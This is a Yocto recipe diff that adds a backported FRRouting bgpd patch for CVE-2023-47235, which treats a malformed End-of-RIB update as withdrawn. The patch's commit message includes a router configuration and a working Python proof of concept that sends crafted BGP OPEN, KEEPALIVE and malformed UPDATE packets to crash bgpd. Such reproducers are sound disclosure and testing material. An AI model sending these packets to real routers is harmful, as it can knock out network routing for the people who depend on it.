diff options
Diffstat (limited to 'meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch')
| -rw-r--r-- | meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch | 114 |
1 files changed, 114 insertions, 0 deletions
diff --git a/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch b/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch new file mode 100644 index 0000000000..218dcba510 --- /dev/null +++ b/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch @@ -0,0 +1,114 @@ +From 024bdfcdf1d52db3a74f00a3370c3834a4bb78d0 Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis <donatas@opensourcerouting.org> +Date: Mon, 20 Nov 2023 14:39:33 +0000 +Subject: [PATCH 6/6] bgpd: Treat EOR as withdrawn to avoid unwanted handling + of malformed attrs + +Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be +processed as a normal UPDATE without mandatory attributes, that could lead +to harmful behavior. In this case, a crash for route-maps with the configuration +such as: + +``` +router bgp 65001 + no bgp ebgp-requires-policy + neighbor 127.0.0.1 remote-as external + neighbor 127.0.0.1 passive + neighbor 127.0.0.1 ebgp-multihop + neighbor 127.0.0.1 disable-connected-check + neighbor 127.0.0.1 update-source 127.0.0.2 + neighbor 127.0.0.1 timers 3 90 + neighbor 127.0.0.1 timers connect 1 + ! + address-family ipv4 unicast + neighbor 127.0.0.1 addpath-tx-all-paths + neighbor 127.0.0.1 default-originate + neighbor 127.0.0.1 route-map RM_IN in + exit-address-family +exit +! +route-map RM_IN permit 10 + set as-path prepend 200 +exit +``` + +Send a malformed optional transitive attribute: + +``` +import socket +import time + +OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" +b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" +b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" +b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" +b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" +b"\x80\x00\x00\x00") + +KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") + +UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b") + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 179)) +s.send(OPEN) +data = s.recv(1024) +s.send(KEEPALIVE) +data = s.recv(1024) +s.send(UPDATE) +data = s.recv(1024) +time.sleep(100) +s.close() +``` + +Reported-by: Iggy Frankovic <iggyfran@amazon.com> +Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org> + +CVE: CVE-2023-47235 + +Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/6814f2e0138a6ea5e1f83bdd9085d9a77999900b] + +Signed-off-by: Narpat Mali <narpat.mali@windriver.com> +--- + bgpd/bgp_attr.c | 15 ++++++++++++--- + 1 file changed, 12 insertions(+), 3 deletions(-) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index 13da27e99..1e08a218e 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3050,10 +3050,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, + uint8_t type = 0; + + /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an +- * empty UPDATE. */ ++ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it, ++ * we will pass it to be processed as a normal UPDATE without mandatory ++ * attributes, that could lead to harmful behavior. ++ */ + if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && + !length) +- return BGP_ATTR_PARSE_PROCEED; ++ return BGP_ATTR_PARSE_WITHDRAW; + + if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN))) + type = BGP_ATTR_ORIGIN; +@@ -3477,7 +3480,13 @@ done: + } + + transit = bgp_attr_get_transit(attr); +- if (ret != BGP_ATTR_PARSE_ERROR) { ++ /* If we received an UPDATE with mandatory attributes, then ++ * the unrecognized transitive optional attribute of that ++ * path MUST be passed. Otherwise, it's an error, and from ++ * security perspective it might be very harmful if we continue ++ * here with the unrecognized attributes. ++ */ ++ if (ret == BGP_ATTR_PARSE_PROCEED) { + /* Finally intern unknown attribute. */ + if (transit) + bgp_attr_set_transit(attr, transit_intern(transit)); +-- +2.40.0 |